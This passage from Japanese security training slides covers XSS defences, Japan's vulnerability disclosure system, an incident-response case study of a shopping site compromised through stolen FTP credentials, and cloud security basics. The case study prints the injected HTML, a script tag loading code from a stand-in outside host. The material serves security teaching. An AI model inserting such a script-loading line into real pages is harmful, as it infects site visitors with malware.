かせ、コードのレベルを上げるのは難しい
• →フレームワークの利用
– 例: Struts(Java), Smarty(PHP),
CakePHP,Ruby on Rails
– エスケープ処理やSQLインジェクション対策など
が組み込まれている
– 内容、限界を見極めて採用する必要はある
• 漏れが起きる可能性を尐なくする
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まとめ:クロスサイト・スクリプティング
• ウェブページを「出力」する際の配慮を怠ると、
クロスサイト・スクリプティングの脆弱性が生じ
る。
• 全ての個所に対策を施す必要がある。
安全なウェブサイトの作り方 改訂第3版
http://www.ipa.go.jp/security/vuln/websecurity.html
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ウェブアプリケーションの
安全性向上のためのポイント
• 実施する対策の効果や性質を正しく理解する
• 安全なプログラミング知識を身に付ける
参考サイト:
安全なウェブサイトの作り方
http://www.ipa.go.jp/security/vuln/websecurity.html
セキュア・プログラミング講座(新版)
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html
知っていますか?脆弱性
http://www.ipa.go.jp/security/vuln/vuln_contents/
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■情報システムのぜい弱性対策への取り組み
~情報セキュリティ早期警戒パートナーシップ~
脆弱性関連情報流通体制
ユーザ
ユーザー
脆弱性関連
情報届出
ソフトウェ ア
製品の脆弱性
発
見
者
W eb サイトの
脆弱性
受付・分析機関
報告された
受付機関
脆弱性関連情報の
内容確認・検証
報告された脆弱性
関連情報の内容確認
分析支援機関
脆弱性関連
情報通知
調整機関
対応状況の集約、
公表日の調整等
公表日の決定、
海外の調整機関
との連携等
対策情報ポータル
脆弱性対策情報ポータル
ソフト
開発者等
対応状況
対策方法等
公表
システム導入
支援者等
政府
企業
個人
分析機関
脆弱性関連
情報届出
【期待効果】
産総研など
報告された脆弱性
脆弱性関連情報通知
脆弱性関連情報通知
関連情報の検証
W eb サイト運営者
個人情報漏洩時は事実関係を公表
検証、対策実施
①製品開発者及びウェブサイト運営者によるぜい弱性対策を促進
②不用意なぜい弱性関連情報の公表やぜい弱性の放置を抑制
③個人情報等重要情報の流出や重要システムの停止を予防
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ケーススタディ3
インシデントレスポンス
企業サイトがウイルス感染の加害者に
~脆弱性の脅威と技術的解決を学ぶ~
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ケーススタディ3
インシデントレスポンス
3.1 インシデントレスポンスとは
3.2 事件発生:ショッピングサイト上にウイルス
3.3 お客さんに向けた緊急対応開始
3.4 後始末、まとめ
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3.1 インシデントレスポンスとは
• インシデント=情報セキュリティに関
連する事件、事故への組織的な「対
応」
• 発生時対応策、手順整備などの事
前準備が重要
• http://www.ipa.go.jp/security/rfc/R
FC2350JA.html
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事例:ショッピングサイトでウイルス感染?
C
About
Search
Login
S h o p p i n g S i t e
• ショッピングサイト C社。
• 社員数200名、Windowsのショッピングカートシス
テムを使った中規模ショッピングサイト。会員数10
万人程度。
• リピーターがついており、アクセスは盛況。
• 最新パッチの適用、ユーザ管理、アクセス制限と、
一通りは対策。
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C社のセキュリティ・ウイルス対策
• ファイアウォールを軸にDMZ(非武装中
立地帯)構築、外部向けサーバはすべ
てそちらに配置
• ウェブアプリケーション監査も実施済み
• ウイルス対策は全マシンで実施
– 月1回はフルスキャンが義務
• ウイルス対策ゲートウエイも導入済み
– 迷惑メール対策ゲートウエイも兼ねている
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DMZ等詳細
• DMZ(非武装中立地帯)には、メールサ
ーバ、ウェブプロキシサーバ、DNSキャ
ッシュサーバ、外部向けDNSサーバ、
外部向けウェブサーバを配置
– LANから外向けの通信はすべてDMZの各
種サーバ経由
– 外からのメール受信、DNS参照、ウェブ参
照はすべてDMZで受ける
• 無線LANは未導入
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インター
ネット
DMZ
ファイア
ウォール
ローカルエリアネットワーク
外部とのすべての
通信はDMZを経由
して行われる
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3.2 事件発生:
ショッピングサイト上にウイルス
C
About
Search
Login
S h o p p i n g S i t e
• ある日突然C社に、「ウェブを見たらウイルス対
策ソフトが反応した」「ウェブサイトでウイルスに
感染した」という苦情が複数よせられる
• 社内で試したら再現した!
• ショッピングサイトにはユーザがページ内容を変
更したり、ファイルをアップロードするような機能
はない→一体どこから?
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緊急対応
• これ以上のダウンロード=被害拡大を
止める必要がある
• しかし、止めてしまう・インターネットから
遮断してしまうと原因が探れない
現場長の判断で
まずは原因を究明することになった
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現在の状態を調査する
• 外部に表示するウェブサイトをメンテナンス用
サーバに切り替え、切り離したサイトを調査
• トップページに、悪意あるスクリプトを読みこま
せる内容を追加し、ウイルスに感染させようとし
ていた
• 他のページには同様の埋めこみは発見できず
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang=“ja”>
外部のスクリプトを読みこんで実行
<head>
<title>Welcome to “C” shopping site</title>
<link rel="stylesheet" href="style.css" TYPE="text/css">
<script src=“http://othersite.example.net/3.js”></script>
</head>
トップページに埋めこまれたHTML
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原因(侵入経路)の可能性
攻撃の種類
可能性
ネットワーク攻撃 最新パッチが当たっているため、可能性がある
としたら未知の脆弱性か
DNSへの攻撃
現象再現する(ウイルス警告)マシンと、しない
マシンがあるが、同じマシンでは必ず再現する
ウェブアプリケー ログを見たところ、怪しいSQL文の痕跡とかは
ションへの攻撃 無さそうだ。クロスサイトスクリプティングの可
能性はあるが、怪しいリンクを踏まなくても再現
する
内部犯行
ダブルチェックを行っているし、外部からのFTP
アクセスも、方法を知る者はごくわずか
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調査は行き詰まり、そして・・・
• ネットワーク攻撃ではなさそうか?
– IDS未導入なので断言はできないが・・・
• DNSも再現性から見て違うようだ。ウェ
ブアプリケーションも痕跡が見当たらな
いし、監査も実施済み
• 残る可能性は内部犯行???
このウイルス騒ぎが経営陣の耳に入り、
「すぐに止めろ!」と怒鳴られてしまった
→Time Up!
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96
ここまでのところ、何がまずかったのか
• 原因究明を優先したこと?
–=お客さんの被害拡大の可能性
を「放置」したこと
• 原因究明の期限を決めなかった
こと?
• 経営陣に怒鳴られたこと?
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3.3 お客さんに向けた緊急対応開始
• 外向けウェブサーバを切り離し、サービス復旧へ
• その間別サイトより静的ウェブコンテンツで説明
お客様へのお願い
C社ショッピングサイト事務局
平素よりご愛顧いただきまして感謝しております。
現在、当サイトはお客様よりお知らせいただいた「C社ショッピングサ
イトウェブページを見るとウイルス対策ソフトが警告を出す」との事象に
つきまして緊急調査を行っております。そのため、一時的に弊社サービ
スを利用できない状態となり、お客様にはご迷惑をおかけしております
が、調査に一定の目処が立つまで今しばらくお待ちください。なお、ウイ
ルスの駆除方法については・・・
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サービス復旧への対応
C
About
重要なお知らせ
◆弊社ウェブサイトにおけるウイルス掲載の問題に
ついて
◆XXXX/XX~XX/XXの間アクセスされたお客様へ
S h o p p i n g S i t e
• 他にあやしいものが無いか、サーバやデー
タベースの内容を全面的にチェック
• 汚染されたコンテンツを修正後、再公開
• 多層防御の一環として、ウェブアプリケー
ションファイアウォール(WAF)やサーバ用
のアンチウイルス製品を導入
参考:企業における情報セキュリティ事象被害額調査
http://www.ipa.go.jp/security/fy18/reports/virus-survey/index.html
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ログから追いかける
• 残された可能性「内部犯行」を追いかけるた
めに、FTPによるアップデートのログ見たら、
アップデートの痕跡がいくつか残っていた
• 関係者はコンテンツアップを行う担当者(複
数)、外部委託先(1社)
まずはFTPのログを軸に更新記録と照合し
て「消し込み」を行ってみる
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ログの「消し込み」
ログのエントリ
20XX年2月1日AM10:25
20XX年2月4日PM3:03
20XX年2月6日PM5:48
20XX年2月10日AM4:10
当該ページの更新者
担当者A+B
担当者A+B
外部委託C
???
事件が起きたのは2月10日。最新の更新記録だけ
が見当たらない??
ログのIPアドレスを見ると、海外らしい??
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もしかしてウイルス?
• FTPへは正規のID、パスワードを用いてログ
インしている。「login failed」記録も無い
– ファイルの更新日付も最新更新と同じ
• FTPによるコンテンツアップデートを監視し、
ログイン情報を盗んで外部に送りつけるウイ
ルス?
• 担当B「そういえば、最近Internet
Explorerが重くて・・・」 まさにウイルス感染
の特徴そのもの!
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当該ウイルスの特徴
• FlashやAcrobatなどの古い脆弱性を用いて
感染する(見ただけ感染)
• 亜種が多数発生し、ウイルス対策ソフトウエ
アでも検出できないことがある
• FTPのアカウント情報を盗聴し、外部サーバ
に送出する
• 外部サーバはその情報をもとに、FTPにアク
セスしてコンテンツの一部にスクリプトを挿入
したもので更新する
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インター
ネット
DMZ
ファイア
ウォール
ローカルエリアネットワーク
外部とのすべての
通信はDMZを経由
して行われる
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ファイアウォールのポリシー
• 実は、LANから外に向けた通信は、フリ
ーで行えるようになっていた
– 「設定」によってウェブプロキシ、DNSキャ
ッシュ、メールサーバを使っていただけ
– 通信要件が絞り込めていなかった・・・
インター
ネット
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3.4 後始末
• 調査結果をお客さんに報告
• より詳細な駆除方法等の情報提供
• ログ等の情報から、被害が出た可能性があ
る期間、お客さんの特定
– トップページだったため、会員以外が被害にあっ
た可能性もある
• 被害にあったお客さんに連絡、対応窓口の
設置、受付体制とフローの整備
– 被害にあったお客さんには、買い物ポイント付与
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C社の被った損害
•
•
•
•
•
•
営業停止期間の利益機会損失
賠償用買い物ポイント
詫び状送付関連費用
調査人件費
被害者対応人件費
(失った顧客、信用)
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何がまずかったのか?
• エスカレーションフローが無かったこと
• ↑も含めた緊急時対応手順が無かった
こと
• 「自サイトが原因でお客さんに被害が発
生してしまうような場合には、エスカレー
ションの上でただちにサービスを停止し
て切り離し、顧客対応と原因調査を実
施する」
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予防・検知
• ファイアウォールのルール見直し
• LAN内の感染活動検知の仕組み導入
– IDS(侵入検知システム)の配備
– 空きIPアドレスでパケットキャプチャ
• コンテンツメンテナンス方法の見直し
• Windows Update(Microsoft Update)、
各種プラグイン(Flash等)、ウェブブラウ
ザ等のアップデート励行
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パケットキャプチャ
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ちょっと見ただけで
も多数のプラグイン
が入っています。今
やこのプラグインな
どが悪い人の狙い
目となっています
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プロセスのスナップショット
Sysinternals のProcess Explorer
http://technet.microsoft.com/ja-jp/sysinternals/bb896653(en-us).aspx
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まとめ
• ウイルス対策ソフトウエアは100%ではない
• 各種プラグインの更新、Windowsの更新も
励行すべき
• 事件発生後の緊急対応手順を準備しておく
– 方針合意としても重要
• ログ取りパケット取りを仕掛けておくと原因
追及に役立つ
– パケットキャプチャ等はお手軽
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(ご参考)
クラウド・コンピューティングについて
クラウド・コンピューティングの特徴
インターネット上のコンピューティング資源をまとめて、サー
ビスとして提供/利用
サービスを使った分だけ支払う、従量料金制
ハード・ソフトやアプリケーションを自分で用意しなくても、既
製品のサービスを使って短時間で利用開始が可能(CRMシ
ステム等)
アプリケーションの開発もクラウド上でできるので、開発環
境の準備を省略でき、開発期間の短縮が可能
利用するサービスの処理量やデータ量の変動に応じて、使
用できる資源の量を柔軟に変更可能(例:明日からディスク
容量を倍増、等)
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参-1
クラウド・コンピューティングとは?
メール
文書作成
クラウド・コンピューティングとは
インターネット上の“どこか”にあるハード
ウェアリソース、ソフトウェアリソース、デー
タリソースをユーザーがその所在や内部構
造を意識することなく利用。
サービス提供者C
在庫管理
X社
ストレージ
独自アプリ
Y社
独自アプリ
今までは・・・
財務・経理
Z社
独自アプリ
営業支援
顧客管理
人事管理
サービス提供者B
サービス提供者A
従来のコンピュータ利用はユーザ(企業、個
人など)がコンピュータのリソース(ハード
ウェア、ソフトウェア、データベースなど)を、
自分自身で保有・管理。
ユーザ企業、個人が必要なサービスだけ利用
(インターネット経由で)
Z社
Y社
個人
クラウド・コンピューティングでは・・・
ユーザはインターネットの向こう側にあるリ
ソースを必要なときに、必要なだけ使用。
サービスとして提供されるリソースを、利用
した分だけ支払う従量制課金。
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営業マネージャ/担当者
システム開発者
会計担当者
生産担当者
X社
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参-2
クラウドの実体とサービス形態メリット
(想定されるユーザカテゴリー別の主なメリット)
経営者にとって
•初期投資不要
•使った分のみ支払う
•構築コスト、運用コスト・人員等の削
減に期待
•タイムリーなIT投資が可能
システム開発部門にとって
•開発期間短縮
•変更改良が容易
•業務拡大、負荷増大に伴うサーバ
の最適配置が容易
•ハードの手配、ソフト開発に対する
手間と時間が削減
サービス提供者データセンター
サービス提供事業者の大規模データセンタ
アプリケーションソフトウェア群
リソースの管理・運営
ミドルウェア
(ハードウェア管理、大規模分散処理、アプリ構築環境等)
システム運用部門にとって
•面倒なシステム運用から開放
•一時的増強可能
•業務拡大、負荷増大に伴うサーバ
の最適配置が容易
データの分散・保証、
セキュリティ管理
分散大規模データベース
拡張性と柔軟性を
持ったリソース配置
ハードウェア・OS
(サーバ、ネットワーク、仮想化等)
クラウドの代表的なサービス形態
各事業部門ユーザにとって
•必要な時に使いたいソフトだけ利用
•外出先でもモバイルで利用可能
SaaS Software as a Service
アプリケーション提供
PaaS Platform as a Service
ハードウェア+ミドルウェア提供
個人ユーザにとって
•新しい、多彩なサービスを気軽に利用
•外出先でもモバイルで利用可能
IaaS Infrastructure as a Service
ハードウェア提供
ユーザが必要なサービスだけ利用
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参-3
クラウドのセキュリティ要素
データセンター
サービス・プ
ラットフォーム
•物理的アクセス
機 管理
密 •人の信頼性
性 •地政学リスク
•アクセスコント
ロール
•プラットフォー
ムの脆弱性
•ハッキング
•ハードウェアの
信頼性
全
•人の信頼性
•ハードウェアの
可 信頼性
完
性
用
性
ネットワーク
クライアント
•地理的所在
•分散ストレー
ジ管理システ
ムの信頼性
•VPN
•可搬型デバ
イスの紛失
リスク
•脆弱性
•ハッキング
•プラットフォー
ムの不具合
•ハッキング
•分散ストレー
ジ管理システ
ムの信頼性
•VPN
•通信品質
•脆弱性
•ハッキング
•プラットフォー
ムの不具合、
脆弱性
•ハッキング
•地理的所在
•分散ストレー
ジ管理システ
ムの信頼性
•ネットワー
ク障害
•通信品質
•可搬型デバ
イスの紛失
リスク
•脆弱性
•ハッキング
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参-4
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